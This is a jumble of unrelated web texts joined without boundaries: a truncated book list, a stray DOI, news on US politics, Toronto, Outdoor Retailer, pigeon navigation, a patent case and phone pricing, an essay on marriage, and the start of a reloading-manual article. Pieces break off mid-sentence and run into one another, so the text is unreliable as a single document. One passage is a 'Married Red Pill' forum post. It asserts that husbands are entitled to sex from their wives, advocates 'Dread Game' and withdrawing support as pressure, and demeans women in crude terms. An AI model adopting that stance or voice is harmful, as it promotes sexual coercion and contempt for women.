Few books on this list are likely to spark as much controversy as Lin’s novella, and that’s because few contemporary writers inspire the type of love and hate that Lin does. No matter what you think of his work, the influence Shoplifting — and the rest of Lin’s work — on contemporary literature only grows stronger each year.
Inferno (A Poet’s Novel), Eileen Myles (2010)
Without a doubt one of the most important voices in contemporary poetry, and the type of true original we need more of in literature. This book — and everything else Myles has ever put into the world — should be considered a classic.
The Middlesteins, Jami Attenberg (2012)
Jami Attenberg took the great Jewish novel of Roth, Bellows, and Ozick, cleaned it up, and gave it a modern spin with The Middlesteins.
Just Kids, Patti Smith (2010)
For those who were already familiar with her legendary body of work, it was hardly surprising that reading Smith’s memoir of her life and times in 1970s New York would turn out to be a magical experience. The joyful shock came when the National Book Award and the broader reading public agreed.
The Collected Stories of Lydia Davis, Lydia Davis (2010)
In certain circles, Lydia Davis is considered the current god of short fiction. Even if you don’t agree, she certainly is one of a select group of the form’s greatest writers, and that’s why this thick collection should be treated as a bible.
How Should a Person Be?, Sheila Heti (2012)
Heti is the rare writer who is totally unafraid to take thematic and stylistic risks, and that’s why she’s in a class all her own. This strange and wonderful novel about art, friendship, and women’s lives, which caused so much discussion and controversy upon its release, is sure to be cited as a huge influence for years to come.
Pulphead, John Jeremiah Sullivan (2011)
John Jeremiah Sullivan was the type of writer who other writers aspired to write like even before this collection of his best essays appeared. Pulphead just made it easier to convert those who didn’t already know just how good he is.
This Is How You Lose Her, Junot Díaz (2012)
We don’t need to heap any more praise onto the Pulitzer Prize-winning Díaz, other than saying that this collection of interconnected stories about the troubled romantic life of Yunior — who readers will remember from his 2007 masterpiece The Brief Wondrous Life of Oscar Wao — is every bit as essential as that novel.
Scorch Atlas, Blake Butler (2009)
Butler is one of the strongest new voices in literature. Scorch Atlas is the book that helped him kick off a streak of incredibly strong releases, and has also made him one of the most talked about young writers working today.
When the Only Light Is Fire, Saaed Jones (2011)
With one of the strongest poetry debuts in recent memory, Jones has a voice that you will be hearing from for a long time, whether it be through poetry or his job as editor of BuzzFeed’s LGBT section.
Heroines, Kate Zambreno (2012)
Part literary history, part personal essay, entirely engrossing and written in a unique and undeniably powerful new voice, Zambreno’s examination of the lives of literature’s forgotten ladies is also an examination of the writer’s own life. It is an unforgettable read, and one that will no doubt continue to spark conversation for years to come.
Battleborn, Claire Vaye Watkins (2012)
Quite possibly the strongest debut short story collection on this list, those who have experienced the Dirty Realism that is Battleborn are fully aware of Watkins’ power. Those who haven’t read it are missing out.
The Art of Fielding, Chad Harbach (2011)
Harbach, one of the founding editors of n+1, takes a decade to try and produce his own Great American Novel and ends up earning comparisons to Herman Melville. Not bad. Hopefully we won’t have to wait another ten years for his next one.
A Visit From the Goon Squad, Jennifer Egan (2010)
Those of us who paid close attention knew that sooner or later Jennifer Egan was going to get her due. This, her Pulitzer Prize- and National Book Critics Circle-winning great rock and roll novel, was that due.
The Stranger’s Child, Alan Hollinghurst (2011)
Stretching several decades, Hollinghurst’s look at love, gay culture, and British society in general is the kind of book that inspires fervent word-of-mouth recommendations.
Sag Harbor, Colson Whitehead (2009)
Whitehead came rushing out of the gate in 2006 with The Intuitionist, but this coming-of-age novel set in the mid-1980s cemented his place as one of America’s great writers.
The Possessed, Elif Batuman (2010)
Batuman’s stories of her time spent in the Russian-literature trenches earned a description in The New York Times as “channeling Janet Malcolm by way of Woody Allen,” and displayed a rare, self-effacing wit and keen talent for observing the weirdos and the weird.
Swamplandia!, Karen Russell (2011)
There’s always that worry that a young author with a really impressive debut collection of short stories won’t be able to make the jump to the novel game. Russell proved that theory wrong with this Pulitzer Prize runner-up that ended up being one of the greatest Florida novels written.
The Magicians, Lev Grossman (2009)
Grossman came up with a formula that seems so simple that it’s shocking somebody didn’t beat him to it: adults like YA, and everybody loves a good fantasy novel, so why not write a YA trilogy that’s geared more towards the 18-plus crowd? It certainly paid off, and has lots of writers following suit.
Salvage the Bones, Jesmyn Ward (2011)
Ward’s book of gritty Southern realism, set in days leading up to Hurricane Katrina, is a wake-up call that prompted critical comparisons to Faulkner. And with her 2013 memoir Men We Reaped, she’s only getting better…
In the House upon the Dirt between the Lake and the Woods, Matt Bell (2013)
Bell is a writer’s writer who can weave together a complex, frightening, but also incredibly beautiful story like no other. In this, his debut novel, the world was treated to something truly powerful and moving. When I Was a Child I Read Books: Essays, Marilynne Robinson (2012)
Anytime Marilynne Robinson puts out a book, be it fiction or, in this case, essays, it inevitably earns a spot on best-of lists. Yet there was something about this lovely collection that struck a deeper chord with readers, and gave writers something to reach for.
Skippy Dies, Paul Murray (2010)
There just aren’t enough new novels that get people to exclaim, “Oh my god! You haven’t read [insert title here].” Irish author Paul Murray’s 600-plus-page, darkly humorous boarding-school novel is one of the exceptions. People get straight-up obsessed with this, for very good reason.
I’m Trying to Reach You, Barbara Browning (2012)
The great dance novel, sure. But Barbra Browning threw everything into this novel published by indie Two Dollar Radio, exploring how we deal with sorrow and race in contemporary America.
The Flamethrowers, Rachel Kushner (2013)
Since we’re still in the middle of Rachel Kushnermania, we won’t get too deep into one of the most beloved books of this year, but we will add our voice to the chorus chanting that The Flamethrowers is very much worth your reading time, and certainly not the last you will hear from this young literary heavyweight.
Alien vs. Predator, Michael Robbins (2012)
Robbins is without a doubt one of contemporary poetry’s strongest voices, but he’s also one hell of a critic. His bestselling collection is just the tip of the iceberg as to what he’s capable of, but it is also really worth the hype.
Tenth of December: Stories, George Saunders (2013)
Plenty of people already knew that Suanders was one of the modern masters of the short story, but this was the book that finally made the rest of the world stand up and take note.
Ayiti, Roxane Gay (2011)
There is a chance that Roxane Gay has published something great every day for the last few years. That’s why it’s shocking that — although this will change in 2014, when she has two books slated for publication — this incredible little collection is her only proper book to date. When we make a new version of this list in five years, we imagine it will include several of her works.
Tonight No Poetry Will Serve: Poems 2007-2010, Adrienne Rich (2010)
Amid all the good news for literature in the last five years, we did lose Adrienne Rich, one of contemporary poetry’s great voices. Thankfully, she also put out another stellar collection that gives us one last volume to remember her by.
Four New Messages, Joshua Cohen (2012)
What else does Joshua Cohen have to do to show us he’s a writer with few equals? He’s got the epic novel (2010’s Witz), plenty of great criticism to his name, and this collection that proves he can excel in the short form as well.
The Informers, Juan Gabriel Vasquez (2009)
Since this list is inspired by 2666, it’s only fitting that one of the earliest and best entries in the post-Bolaño renaissance of Latin American fiction being translated by big publishers, and loved by American readers, should appear on this list.
Stone Arabia, Dana Spiotta (2012)
The literary establishment was quick to crown A Visit From the Goon Squad the great rock and roll novel — until Spiotta put this book into the world, and suddenly it looked like Jennifer Egan was going to have to share the crown.
Lightning Rods, Helen DeWitt (2012)
DeWitt took 12 years to give us a follow-up to the much-beloved 2000 novel The Last Samurai, so it’s a good thing Lightning Rods was absolutely brilliant.
Super Sad True Love Story, Gary Shteyngart (2010)
Super and sad as advertised, this dystopian “true” love story might be the satirist’s — and literary-world comedian’s — best novel to date.
what purpose did i serve your life, Marie Calloway (2013)
Welcome to the future, when we have no problem letting it all hang out via an ever-increasingly number of social media platforms. Calloway became the poster child for this moment with her controversial story “Adrien Brody,” which helped create a firestorm leading up to, and following, the release of her first book. Like her or not, Calloway pushes buttons and gets people taking.
Half a Life, Darin Strauss (2010)
There are three types of memoirs: the good celebrity ones, the total bullshit celebrity ones, and the type of true story that Strauss gives us about an accidental tragedy, and what comes after. Few books will move you like this one.
The Tiger’s Wife, Téa Obreht (2011)
One of the most interesting debuts of the last five years was a bestseller from a then-25-year-old literary wunderkind that played around with magical realism. How often does that happen?
The Woman Upstairs, Claire Messud (2013)
This is Claire Messud we’re talking about, so obviously the book is going to be good. But The Woman Upstairs is also responsible for a whole lot of productive discussion about likable and unlikable characters.
Collected Poems 1962-2012, Louise Glück (2012)
So, Louise Glück put out a massive collection of her work in 2012. That’s sort of a really big deal.
Gods Without Men, Hari Kunzru
This beautiful and sprawling |
DOI: 10.1126/science.aaa2457.
Header image: An ivory market in Central Africa, by Karl Ammann. Used with permission.Republican National Committee Chairman Reince Priebus told Donald Trump in a phone call last week that if he doesn’t turn his flailing campaign around, the national party may shift its focus from his candidacy to down-ballot races, according to two GOP officials briefed on the exchange.
The officials said Priebus described to Trump internal party polls that show his campaign headed in the wrong direction. Priebus told Trump that he would have been better off had he spent the days since the Republican convention at his Mar-a-Lago Club, officials said.
Trump denied the officials’ account of the exchange.
“Reince Priebus is a terrific guy,” Trump told TIME on Tuesday. “He never said that.” Trump also said that the Republican Party should be grateful for his recent fundraising. “Why would they state that when I am raising millions of dollars for them?” Trump asked, rhetorically.
Priebus could not be reached for comment.
Whatever the exact words spoken on the phone, there is no doubt that the possibility of Republicans effectively abandoning Trump by prioritizing voter outreach for down-ballot races now haunts his presidential campaign. In the last two weeks, Trump has suffered a deep dive in public polls amid a number of controversies caused by his own public statements.
Priebus and Trump talk frequently, with the party chair urging Trump for months to professionalize his operations and campaign. But the tenor of the calls turned more frank and frustrated last week as Trump’s campaign slide continued. The officials said Priebus reminded Trump that his title is RNC chairman, not chairman of the Trump campaign, adding that he would act in the best interests of the Republican Party.
With the party seeing record numbers of ticket-splitting voters in its internal and public polls, the GOP is facing a decision about whether to prioritize outreach to those voters who would never vote for Trump but remain open to supporting its Senate and House candidates. The end result could be the party expending resources to turn out voters who will vote for Hillary Clinton but also back Republican Senate incumbents like Marco Rubio in Florida or Rob Portman in Ohio.
With early voting beginning in mid-September, Priebus told Trump he doesn’t have much time to reverse his polling slide, the officials said. Priebus reinforced a longstanding plea to Trump to stay on message—a goal that remained elusive more than a week a later as Trump’s economic speech was quickly drowned out by comments viewed by critics as promoting political violence.
Read more about the exchange in the new TIME cover story.Madalyn Murray-O'Hair files suit in federal district court in Honolulu, Hawaii, challenging the words "under God" in the Pledge of Allegiance. According to O'Hair, it's unconstitutional that her son Jon is subjected to the phrase every time the Pledge is recited in school.
O'Hair's lawsuit asks that schools be prevented from requiring that the Pledge of Allegiance be said with that phrase, that the requirement be found unconstitutional, and that the 1954 law inserting "under God" into the Pledge of Allegiance be struck down as unconstitutional.
Madalyn Murray O'Hair's attorney, Hyman Greenstein, says that it may take a while before the case is heard:
"Because we are attacking the constitutionality of an act of Congress, we have requested a three judge court...[and] it depends on the nature of the court and the availability of judges."
Regarding the phrase "under God," he says:
"We maintain it constitutes a religious ceremony (when recited in school) and offends the First Amendment of the Constitution of the United States."Having had to apologise twice in the last week for comments that were patronising or condescending, I’m quite sensitive at the moment about the manner in which I express my views. At the same time, the campaign for Equal Marriage is hotting up in Scotland, and I don’t really approve. Its not the Equal stuff that bothers me, its the marriage bit.
In one respect, I feel like I should really keep my mouth shut. I have friends who have been discriminated against the whole of their lives because of their sexuality, which is why the campaign for equal marriage exists, but at the same time, same sex partners do now enjoy legal entitlements that they were unable to until very recently. And in all honesty – that is my problem. I feel like by losing the LGBT movement to marriage we are losing a valuable ally. Marriage is more than a bit of paper. The campaigners see that, that’s why they are fighting for it. But look carefully at what you wish for.
Marriage has a specific set of legal requirements and a more fluid set of social assumptions. The legal framework sets out the parameters in which you are obliged to conduct your marriage (it must be consummated; must take parental responsibility for any children sired, until 1991 must consent to sexual intercourse, may not marry another), but it is the social assumptions that dominate.
The ring signifies the marriage state. Soppy wedding sites and of course jewelers will tell you
Wedding rings embody the continuous flow of love, a circle that symbolizes eternity where there is no beginning and no end
…but what is it really? What is its meaning?
Very few people will have not have checked the wedding finger of someone else. The most obvious reason is of course to find out if someone you would like to have a relationship with already has one with another, but there are far, far more reasons than that. In business a finger will be checked for propensity for having or having had children. This will occur with both men and women, but with very different intentions. For women it questions whether they will take time off for pregancy or childcare responsibilities; for men whether they have a family to financially support. In a social situation, a finger will be checked to ascertain the background of the person, do they have a stable home-life, a support structure, interdependent living space?
Marriage is a buy in to a specific set of assumptions – it signifies an acceptance that marriage is a more desirable state than non-marriage, that the ideal relationship is lifelong and exclusive, that seeking a permanent and lifelong partner is the aim of anyone without one. And this affects relationships beyond marriage. Within social security legislation there is the status of quasi-marriage (living together as husband and wife) where in some circumstances unmarried partners can be treated less individually and with more assumptions made about their relationship than people who have chosen to get married; within social and business engagements there is the presumption of a significant other, and the social assumption that anyone without a significant other must be seeking one.
And this is where I feel the LGBT movement have let me down. By refusing and challenging the one of the assumptions of marriage – that people wish a relationship with people of the opposite sex, and refusing to enter such a relationship, it questions the whole assumption that marriage is a desirable aim or goal; by seeking marriage equality it tacitly endorses that goal and requests the right to buy-in to it.
At one level I am unaffected whether people can marry people of the same sex or not. I have no desire to get married to either sex; I have no desire to get married at all, but while marriage rates are falling across the Western World and marriage is increasingly becoming a preserve of the middle-class, I find the endorsement of marriage as a desirable state which is being promoted through the Equal Marriage campaign distasteful. Marriage has little to do with love, sexuality or romance and everything to do with social structures. It is an institution created to bound relationships and bind people to one another in a specific socially approved manner.
Marriage although an international institution is legally enacted in different ways across the world. In some parts, adultery is a criminal offense, in some parts polygamy is quite legal; in some parts same-sex marriage is legal while in others child marriage is legal. There are equally different social assumptions made about marriage in different parts of the world – from residency, economic relationships other kin relationships. Mainly based in religious ideology, endorsed through the medium of the nation state, the relationships that people choose to have are restricted, bounded and constrained.
I wish a world where people are free to choose their own relationships: social sexual and emotional. Where relationships are not measured against an ideal promoted by church or state. Where people are treated as individuals and there is free association of those individuals based on their desires rather than legalistic frameworks. As long as marriage exists, all other forms of relationships between unrelated people are measured against it and found lacking.
As RL Stephenson said “Matrimony is…a sort of friendship recognised by the police” …and who wants their friendships policed.
AdvertisementsMEXICO CITY -- New England Patriots president Jonathan Kraft addressed recent actions by Dallas Cowboys owner Jerry Jones, who has been attempting to hold up a contract extension for commissioner Roger Goodell while expressing anger because of a six-game suspension to Cowboys running back Ezekiel Elliott.
Saying he wouldn’t comment specifically on Jones’ threats regarding Goodell’s possible extension because of the possibility of litigation, Kraft spoke from a big-picture perspective during a pregame interview on 98.5 The Sports Hub.
“Back when our fan base and ourselves were going through the air-pressure thing – and Jerry had gone through the salary-cap stuff – he said you all should take your medicine and just focus on winning football games. When you’re upset and angry, that’s not what you want to hear because I don’t think Tom [Brady] was treated fairly, I don’t think our fans thought Tom was treated fairly. But we ended up taking his advice and winning the Super Bowl. I think it was good advice,” Kraft said in the interview.
Along those lines, Kraft was also asked about unflattering remarks attributed to Jones in a recent ESPN story, in which Jones reportedly said to Goodell in a private conversation: “I’m gonna come after you with everything I have. If you think Bob Kraft came after you hard, Bob Kraft is a p---y compared to what I’m going to do.”
Said Kraft in the radio interview: “I guess I don’t know who the source was, and don’t know if it is true or not. If Jerry said that, and I don’t that he did, Robert at the end of the day followed Jerry’s own advice. Our franchise, since the investigation started the night of the AFC championship [in 2015], has won two Super Bowls.”Toronto taxpayers could soon help foot the bill for a new system to make it easier to find their way in the PATH — the sometimes confusing, 35-kilometre-long maze of underground malls, food courts and connector tunnels under the city's downtown skyscrapers.
On Wednesday at city hall, during a presentation to the economic development committee, the Financial District Business Improvement Area asked the city for some financial help in developing a new mapping system to help people find their way through the system.
The committee voted to ask staff to recommend in the fall whether it makes financial sense for the city to help fund a pilot project the BIA is launching next month to help make the PATH easier to navigate.
Coun. Norm Kelly described the network as "the largest underground shopping complex in the world" and said that should be "touted as frequently and as widely as possible."
But the BIA has acknowledged that the system is under-used because too many people fear they'll never find their way out once they go in.
This summer's pilot project will include:
More info on the street grid overhead
A map that includes 3-D drawings of major nearby destinations, like the Rogers Centre and City Hall
More accessible entrances and exits
Colour coding to help people distinguish between major connector routes, and dead ends
Signs that indicate average walk times to major destinations
Sample of a new, clearer map that will be used as part of a pilot project in the downtown PATH system this summer. The PATH's owners feel they're losing retail sales because too many people fear getting lost in the underground network (Toronto Financial District Business Improvement Area) The pilot project will cost about $200,000 and the BIA appealed for help in covering those costs.
Their presentation included some of the economic benefits that the PATH system brings. They said it generates about $1.7 billion in retail sales every year. That translates to about $271 million a year in taxes for the federal, provincial and municipal governments.
About 200,000 people use the PATH system a day. Evan Weinberg, a government relations specialist with the BIA, said an increase of just one per cent in that number would mean an extra $17 million in retail sales.
It would also translate into a jump in property taxes to the city of about $285,000, he said.Hundreds of pro-Palestinian activists and their families plan to fly to Israel in mid-April to commemorate Land Day, a member of the event's organizing committee told Haaretz. "On April 15, more than 1,000 activists with European and other passports intend to fly to Israel's Ben-Gurion Airport for an event entitled 'Welcome to Palestine,'" he said.
Last Friday's protests in the Arab community in Israel and the neighboring states, which marked the 36th anniversary of the March 30, 1976, demonstrations during which Israeli security forces killed six Israeli Arabs, have opened a local and international popular Palestinian campaign, the activist said.
Ben-Gurion Airport arrivals lounge. Dan Keinan
"The activists will bear a message of peace, not weapons, and ask to travel to the West Bank. We intend to raise the Palestinian issue with an emphasis on al-Quds [Jerusalem] as the Palestinian state's future capital, and on Israel's attempt to sever it from the West Bank," he said.
He said Israel knew of their plans and has asked foreign airlines not to allow some 370 pro-Palestinian activists onto the Israel-bound flights, calling the move a provocation.
The activists also intend to lay the cornerstone for an international educational institution near Bethlehem, the organizers said in a newsletter.
Last year more than 300 activists were prevented from boarding flights to Israel and 140 others were detained on arrival and deported.
"Netanyahu called us terrorists. We say we are activists visiting the West Bank like any other tourist, with a message of peace," an activist said.
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**CLICK HERE FOR MORE PICTURES OF MICHELLE**
Michelle Lewin is a Latina model otherwise known as La Cuerpa, which unsurprisingly means The Body in Spanish.
The 28-year-old has been rising through the fame ranks of late in a bid to poach Kim Kardashian's crown as the owner of the most infamous backside in the world.
In 2014, that's actually a legitimate title.
The personal trainer began carving out a media career for her fine self after landing on the cover of Playboy Venezuela's first issue.
Despite gathering an online army of one million followers by posting near-nude selfies on Instagram as often as she goes to the loo, Mich insists she's not that hot.The outdoor recreation industry did a curtsy on its way out of Salt Lake City last week.
After hosting their massive biannual trade show, Outdoor Retailer, in the city for 22 years, industry organizers announced they were moving the show to Denver because of Utah legislators’ attempts to remove protections for public lands, such as the newly designated Bears Ears National Monument. To make their point public, about 3,000 sign-carrying outdoor equipment retailers, producers, and enthusiasts marched politely to the doors of the Utah state Capitol and bid their farewells.
“Thank you, Salt Lake City, where the people are nice and lands are pretty!” they chanted, somewhat clumsily.
It was the kindest public display of dissent I’ve seen since Donald Trump ascended the presidency.
But this group didn’t need to heave bricks through windows to be heard. By picking up its trade show and going to Colorado, the Outdoor Industry Association is taking with it an estimated $45 million in annual direct and indirect economic benefits. That’s money that hotels, restaurants, bars, cab drivers, and myriad other Salt Lake businesses will sorely miss. Talk about voting with your wallet.
During the final trade show, the city already carried the air of loss. The lobby at the Sheraton, which typically holds a gaggle of anxious adventure gearheads, was library quiet on the show’s first day. A bellhop there lamented the empty rooms and told an arriving regular that he was sad to see the show go.
En route to the Salt Palace Convention Center—which organized its 2006 expansion to accommodate Outdoor Retailer—a Lyft driver explained it was unfortunate the show was leaving. “It happens, though, I get it,” he said. “I just wish it didn’t have to be so political.”
In recent years, as outdoor recreation spending has increased, the industry has added political muscle. Politics is what this move is all about. What started as a grungy group of climbers bumming around the Yosemite Valley has grown into an $887 billion industry that employs 7.6 million Americans, funnels millions into environmental philanthropy, and even influences elections.
OIA announced in early July that it would leave Salt Lake City for the greener sentiments of Denver.
In addition to hosting Outdoor Retailer, Utah is home to more than 35 million acres of federally owned land and a conservative government eager to undo Obama-era environmental protections, making it the perfect field for a public lands standoff. In January, the Utah Legislature introduced a bill calling for the U.S. Department of the Interior to sell off 3.37 million acres of federal land in that state. In February, Gov. Gary Herbert asked Trump to revoke President Obama’s designation of the beautiful and tribally significant Bears Ears National Monument in southern Utah.
In response, industry luminary Patagonia announced it would not attend Outdoor Retailer if the convention was held in Utah. Other brands followed. Then in April, President Trump issued an executive order calling for the review of 27 national monument areas protected since 1996.
With pressure building within its ranks, OIA announced in early July that it would leave Salt Lake City for the greener sentiments of Denver.
Of course, the politics of this decision are closely intertwined with business acumen. The products the industry provides—hiking boots, kayaks, knives, headlamps, sleeping bags—are most fun when used outside, often on public lands, and consumers are vocal about their support of environmental protection (they submitted 2.4 million comments regarding the public lands review, overwhelmingly in favor of protection).
Millennials now buy more outdoor gear and apparel than baby boomers.
Outdoor brands like Patagonia, The North Face, and Keen have won not just their customers’ loyalty, but also their respect by being leaders in supply-chain justice and sustainability and Earth-friendly business practices.
Millennials now buy more outdoor gear and apparel than baby boomers, and they prefer to give their money to companies that align with their own values. Sporting a Patagonia trucker hat says perhaps as much about what a person does with their weekends as about their beliefs.
Last week, as a wave of outdoor industry enthusiasts clad in high-end gear spread across the Utah state Capitol lawns, a young woman named Ally turned to her friends and shouted, “Get a shot of me holding the sign with the UD pack!” (Ultimate Direction is a Boulder, Colorado-based company that, on its website, purports to have “invented the entire category of hydration packs.”) She turned her back to the camera, the Capitol dome before her, hoisted a “This Land Is (Y)Our Land” sign above her head, and posed for an Instagram-ready portrait. Adventure, activism, and marketing all in one.
The cynical view is that OIA’s move to Denver is a political stunt by companies aiming to turn their customer’s political views into profits. Well, why not? This is America, after all. The outdoor industry’s decision to leave Salt Lake City is just the latest and perhaps most obvious example of an industry responding to its customers’ collective buying power.
Americans vote with their dollars. When elected representatives wouldn’t uphold their values, these brands did.The Baylor researchers have offered a solution to the middle step. They identified a group of cells in the brainstem of pigeons that record both the direction and the strength of the magnetic field. And they have good, but not conclusive, evidence to suggest that the information these cells are recording is coming from the bird’s inner ear. Dr. Dickman said this research “is still something we want to pursue.”
They did not work on the third step, but Dr. Dickman said a good candidate for the location of that map was the hippocampus, the brain region involved in memory of locations in both birds and humans.
Photo
A well-known and often-mentioned study of London taxi drivers showed that experienced drivers with a mental map of London had a hippocampus larger in one area than people without their experience. In some birds that hide seeds and return later to their caches with astonishing accuracy, the hippocampus grows and shrinks seasonally, presumably as they map their hiding spots.
Efforts to understand the magnetic sense in birds have gone in several directions. Some researchers have offered evidence for chemical reactions in the eyes sensitive to magnetic signals, while others have looked at neurons in the beak that they thought contained minute amounts of magnetite, a mineral that is affected by magnetic fields.
Just a few weeks ago, Dr. Keays and colleagues reported in the journal Nature that the idea of neurons in the beak was a nonstarter.
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The Baylor researchers did a kind of step-by-step tracking of what areas in pigeons’ brains were responding to variations in an artificial magnetic field that they created. They focused on activity in the brainstem, one of the most primitive parts of the brain, partly because in earlier work they had shown that this area of the brain received signals from a part of the inner ear.
By looking at specific neurons in this part of the brain, the researchers found that the bird’s orientation determined which neurons were active. Each neuron was tuned to respond to signals from one direction. The neurons also registered the strength of the magnetic field.
Other brain regions are also active in response to magnetic stimulation and may be involved in the magnetic sense, Dr. Dickman said. And although he does not provide an answer to how birds detect magnetism, the research clearly falls on one side of a debate over whether magnetite is involved, or whether chemical reactions in the eye may be the key.
Dr. Keays said the research gave strong support to the magnetite idea and the hypothesis that “a population of undiscovered magnetoreceptive cells reside in the pigeon’s ear.”
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As Dr. Lohmann said, the discovery “will no doubt inspire much additional work in the future.”Same-sex couples scored a major victory on Thursday as Colorado Governor John Hickenlooper (D) made equality a reality by signing the civil unions bill into law. Colorado joins five other states as a place where same-sex couples can purchase a license and wed in a civil ceremony, including Rhode Island, New Jersey, Delaware, Hawaii, and Illinois.
Out Front Colorado wrote of the signing of the Colorado Civil Union Act:
“A new era of rights and responsibilities for the state’s gay and lesbian community” that “marked the end of a three-year journey that began Valentine’s Day 2011 on the north steps of the state’s Capitol when the bill’s sponsors, flanked by supporters, introduced the legislation for the first time.”
Civil unions legislation had previously failed twice in the Colorado legislature before finally winning approval this year. Some Republicans gave in to reason and compassion and joined Democrats into securing the measure’s final passage.
Governor Hickenlooper remarked during the signing ceremony:
“It is a moment the whole community has waited for, for so long. It’s the beginning of the country changing. A change has gotten here. And it’s going to keep going.” [Source]
The Governor isn’t wrong. Lawmakers in Minnesota and Nevada are also pushing for recognition of same-sex couples this year, along with other states. Plus, the U.S. Supreme Court will be considering the constitutionality of same-sex marriage in the spring. All in all, the country is moving forward on the issue of same-sex marriage more than ever before. So much so that any politician who stands in the way risks a backlash from the American people, a majority of whom support marriage equality.
The LGBT community has good reason to celebrate their newly gained equality. Now that civil unions are the law, same-sex couples are a step closer to achieving full marriage equality with heterosexual couples. For gays and lesbians living in a state surrounded by states that do not recognize civil unions or marriage equality, Colorado is now a beacon that may inspire those states to follow in its footsteps. The march towards equality continues on.A patent battle between Google and Microsoft could see Google Maps banned in Germany.
Florian Mueller, of FOSS Patents, reported from court in Munich today, where he said the tide is shifting against Google:
Judge Dr. Matthias Zigann of the Munich I Regional Court just told Google and its Motorola Mobility subsidiary in no uncertain terms that his court is at this point (prior to counsel's argument on claim construction, infringement and validity) inclined to hold Google Inc., its subsidiary Motorola Mobility LLC and MMI's German subsidiary liable for infringement of a key Microsoft patent, EP0845124 on a "computer system for identifying local resources and method therefor", which is the European equivalent of U.S. Patent No. 6,240,360.
It's important to note that Mueller has consulted for Microsoft in the past. But it's clear that a Microsoft win would mean a big headache for Google, which could have to block Google Maps on the web and in its apps.
A Google spokesman declined to comment on the suit, but said: "We are confident in our position and look forward to defending it in court."
The court's decision is not expected until June, and both parties will be filing new briefs in the meantime. For more on the case, check out FOSS Patents.This Thread was attacked and completely eviscerated by TBP.
Long/Short, wife brought her entire family to vacation in their home and then denied the dude sex so he locked the bedroom door, jerked off, and went to sleep. Wife freaked out- not that she was locked out of the bedroom but because her man is realizing quickly that his wife provides very little value to his life except an occasional sock puppet cum dump and constant irritation.
The Blue Pill feminist Trolls absolutely freaked out at the suggestion that a man is entitled to sex from his wife.
Yes, The TBP position is that WOMEN ARE ABSOLUTELY ENTITLED TO SEX, PROVISIONING, SUPPORT, EMOTIONAL TAMPONAGE, AND EVERYTHING ELSE BUT THEY ARE NOT OBLIGATED TO DO ANYTHING. NOTHING!
Moreover, the MAN is not permitted to do ANYTHING to change his sexless life. If he lifts weights, he is leaving his wife. If he stands up to her bullshit he is being abusive. If he jerks off rather than lay there half the night crying and thinking about how he can better serve his wife later then he is a Shitlord.
And if you think anything except this then are a RAPIST who beats his wife and doesn't understand consent.
For the record, the Married Red Pill position is that a man IS entitled to sex from his wife. Furthermore, if he isn't getting it and is being routinely denied, then it is the WIFE who is in breach of the marital obligations- wow! Who knew that women were obligated to do anything! This is groundbreaking stuff guys! We have made an important discovery!
In the case of continual sexual denial of the husband and wife's ENTITLEMENT to the other's body, MRP recommends the man pull back his material, emotional, and psychological support until the woman he is with decides to act like a wife.
To encourage this result, we employ game and Dread Game, improve to become more sexually attractive, and begin to mentally withdraw from the relationship. Ultimately, we begin getting our needs met elsewhere- preferably from a younger, tighter, and MUCH more pleasant model- and the sex denying harpy is free to go fuck her own used up golden vagina- just lock the door first cupcake and turn on a fan because your tangy smell doesn't do much for me any more.
Read that thread, guys. See the angst and discomfort. Notice how they bleat like fools and turn the man's power of commitment into "rape." That's right, anything that empowers men and attempts to limit the scope and stench of the golden uterus is RAPE and WIFE BEATING.CNET
After revealing the 5.7-inch Galaxy Note 4 and the 5.6-inch Note Edge at IFA 2014 earlier in September, Samsung has hammered some Australian pricing and availability.
The Note 4 will officially become available on November 5, at AU$949 for 32GB of storage. Pre-sales will begin on October 15, available from Samsung stores and "leading retailers". As usual, Australia will have the quad-core 2.7GHz Qualcomm Snapdragon 805 processor, while some other markets will get the 1.9GHz octa-core chipset, comprised of 1.9GHz and 1.3GHz quad-core processors.
At the time of writing, no telco partners have been named but in keeping with Samsung's usual launch strategy, we'd expect Telstra, Optus, Vodafone and Virgin to be all on board.
As Telstra has mentioned before, the Note 4 will be one of the first devices on the market able to take advantage of its LTE-A offering, using the 700 and 1800MHz bands.
Sarah Tew
Samsung also confirmed that the iconic Note Edge would be coming to Australia. This phone impressed the IFA crowds with its "drop-edge screen" offering a separate user interface via the sloping right side. Other than the unusual twist to the 5.6-inch screen, the Note Edge is almost identical to the Note 4 -- a slightly smaller 3,000mAh battery and a 64GB option are the main the differences.
The Edge will go on sale November 12, starting at AU$1,249. Samsung also announced the local availability for a number of wearables, including the Gear S smartwatch and the Gear VR headset -- you can find the full details here.
Telco pricing
Most of the major telcos have now announced their respective pricing plans for the Note 4.
Optus: The Note 4 will be available on a variety of plans but the best pick is probably the AU$80 plan, which includes no handset repayments and unlimited SMS, MMS and local calls. Customers who pre-order before November 2 will also get a bonus data deal, making for 5GB a month. Total minimum cost over 24 months is AU$1,920.
Vodafone: The Note 4 is available for AU$6 per month in handset repayments on the AU$80 Red plan. That's 4GB of data, unlimited calls, SMS and MMS and a bonus set of AU$249 Samsung Level On headphones. Total cost over 24 months is AU$2,064.
Vodafone is also pushing the Note Edge -- the only telco currently offering it. It'll cost you AU$14 per month in handset payments on the AU$80 Red plan with the same benefits as above. With the additional payments, the total cost over 24 months is AU$2,256.
Virgin: On Virgin's AU$80 a month plan, the Note 4 will cost an additional AU$5 a month in handset repayments. That's unlimited calls and text and 6GB of data. Minimum cost over 24 months is $2,040.
Telstra: Telstra will be stocking the Note 4, but hasn't released pricing plans and its Note 4 pre-order page wasn't live at the time of writing.
Updated October 16, 12.05pm: Added new availability dates and telco pricing plans.Why Ballisticians Get Grey
by Dave Andrews (Editor's Note: This article was originally printed in the Speer Reloading Manual #9 published in 1974. When planning the #12 Manual, it was my intention to write a new section discussing velocity variation among different firearms chambered for the same cartridge. Then I re-read Dave's article and decided that twenty years hasn't aged this information at all. Dave's insightful essay holds as true today as it did in 1974, and we still get requests for reprints. Thanks to writer Dick Metcalf for his gentle urging to reprint this.) [J. Allan Jones, Editor, Speer Reloading Manual #12 - Click Here for the Speer website]
"Dear Ballistician: Your reloading manual is all wrong! You say on page 713 that 11.2 grains of Super-Duper powder will push the 125 grain bullet at 1468 fps. My barrel length is the same as yours, but when I tried this load and had my friend chronograph it the velocity was only 1411 fps. Why are you so far off?"
